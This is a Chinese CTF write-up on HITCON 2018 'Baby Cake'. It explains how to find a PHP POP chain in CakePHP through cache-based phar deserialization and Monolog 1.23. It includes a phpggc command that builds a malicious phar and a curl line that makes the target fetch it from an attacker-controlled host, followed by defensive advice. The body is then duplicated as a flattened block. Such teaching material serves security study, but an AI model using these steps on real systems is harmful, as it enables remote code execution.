PHP反序列化入门之寻找POP链(三)
字数 1390 2025-08-18 11:38:41

PHP反序列化入门:寻找POP链(三)教学文档

一、前言

本教学文档基于HITCON2018中的Baby Cake题目,讲解PHP POP链的寻找过程。题目使用CakePHP框架,我们将重点分析漏洞点发掘和POP链构造过程。

二、环境准备

三、漏洞点发掘

1. 应用路由分析

通过查看config/routes.php文件,发现入口点是PagesController类的display方法。

2. display方法分析

关键点:

  • $url只能以http、https开头
  • 支持GET、POST、PUT、DELETE、PATCH五种请求方法
  • 首先检查缓存中是否存在相关页面内容及请求头

缓存处理流程:

  1. 如果缓存存在,使用file_get_contents从缓存中获取内容
  2. 请求头内容会进行反序列化操作
  3. 缓存文件路径可预测,这对攻击有利

3. 缓存生成流程

如果缓存不存在:

  1. 调用PagesController类的httpclient方法生成Client
  2. 通过Client类生成响应数据
  3. 通过cache_set方法将响应数据写入body.cacheheaders.cache文件

4. 响应数据生成分析

Client类的get方法调用_doRequest方法,进而调用_createRequest方法:

  1. 实例化Request对象
  2. Request对象创建时调用body方法

body方法关键行为:

  • 如果传入数据是数组类型,调用FormData类的addMany方法
  • addMany方法调用add方法
  • add方法是一个弃用功能,但仍会继续调用addFile方法

addFile方法关键点:

  • 将以@符号开头的字符串当做被上传文件的路径
  • 类似curl命令上传文件行为
  • 使用file_get_contents函数获取内容,参数$value可控

四、利用思路

结合前面的缓存功能:

  1. 构造phar文件存入缓存文件中
  2. 由于缓存文件路径可知
  3. 通过phar反序列化进行攻击

五、POP链构造

1. 组件分析

题目使用了monolog组件,版本为1.23,该版本存在RCE漏洞。

2. 反序列化触发RCE的调用链

使用phpggc工具可以了解具体的调用过程:

Monolog/RCE1 -> system id

六、攻击实施步骤

1. 生成恶意phar文件

使用phpggc工具生成攻击用的phar文件:

./phpggc -p phar -o /var/www/html/demo.phar Monolog/RCE1 system id

2. 将phar文件存入Web应用缓存

curl http://题目IP/?url=http://xx.xx.xx.xx/demo.phar

3. 计算缓存文件存放路径

根据代码逻辑计算出缓存文件的具体存放路径。

4. 发起POST请求触发phar反序列化

构造POST请求完成攻击。

七、防御建议

  1. 升级monolog组件到最新版本
  2. 对用户输入进行严格过滤
  3. 避免使用不安全的反序列化操作
  4. 对文件操作进行严格的路径检查

八、总结

本案例展示了如何:

  1. 分析框架路由和关键方法
  2. 寻找可利用的漏洞点
  3. 构造POP链
  4. 利用phar反序列化进行攻击

关键点在于理解框架的工作流程,找到可控的输入点和危险的函数调用,然后构造合适的POP链实现攻击。

PHP反序列化入门:寻找POP链(三)教学文档 一、前言 本教学文档基于HITCON2018中的Baby Cake题目,讲解PHP POP链的寻找过程。题目使用CakePHP框架,我们将重点分析漏洞点发掘和POP链构造过程。 二、环境准备 题目docker环境: https://github.com/Tiaonmmn/hitcon_ 2018_ babycake CakePHP框架参考: https://book.cakephp.org 三、漏洞点发掘 1. 应用路由分析 通过查看 config/routes.php 文件,发现入口点是 PagesController 类的 display 方法。 2. display方法分析 关键点: $url 只能以http、https开头 支持GET、POST、PUT、DELETE、PATCH五种请求方法 首先检查缓存中是否存在相关页面内容及请求头 缓存处理流程: 如果缓存存在,使用 file_get_contents 从缓存中获取内容 请求头内容会进行反序列化操作 缓存文件路径可预测,这对攻击有利 3. 缓存生成流程 如果缓存不存在: 调用 PagesController 类的 httpclient 方法生成 Client 类 通过 Client 类生成响应数据 通过 cache_set 方法将响应数据写入 body.cache 和 headers.cache 文件 4. 响应数据生成分析 Client 类的 get 方法调用 _doRequest 方法,进而调用 _createRequest 方法: 实例化 Request 对象 Request 对象创建时调用 body 方法 body 方法关键行为: 如果传入数据是数组类型,调用 FormData 类的 addMany 方法 addMany 方法调用 add 方法 add 方法是一个弃用功能,但仍会继续调用 addFile 方法 addFile 方法关键点: 将以 @ 符号开头的字符串当做被上传文件的路径 类似curl命令上传文件行为 使用 file_get_contents 函数获取内容,参数 $value 可控 四、利用思路 结合前面的缓存功能: 构造phar文件存入缓存文件中 由于缓存文件路径可知 通过phar反序列化进行攻击 五、POP链构造 1. 组件分析 题目使用了 monolog 组件,版本为1.23,该版本存在RCE漏洞。 2. 反序列化触发RCE的调用链 使用 phpggc 工具可以了解具体的调用过程: 六、攻击实施步骤 1. 生成恶意phar文件 使用phpggc工具生成攻击用的phar文件: 2. 将phar文件存入Web应用缓存 3. 计算缓存文件存放路径 根据代码逻辑计算出缓存文件的具体存放路径。 4. 发起POST请求触发phar反序列化 构造POST请求完成攻击。 七、防御建议 升级monolog组件到最新版本 对用户输入进行严格过滤 避免使用不安全的反序列化操作 对文件操作进行严格的路径检查 八、总结 本案例展示了如何: 分析框架路由和关键方法 寻找可利用的漏洞点 构造POP链 利用phar反序列化进行攻击 关键点在于理解框架的工作流程,找到可控的输入点和危险的函数调用,然后构造合适的POP链实现攻击。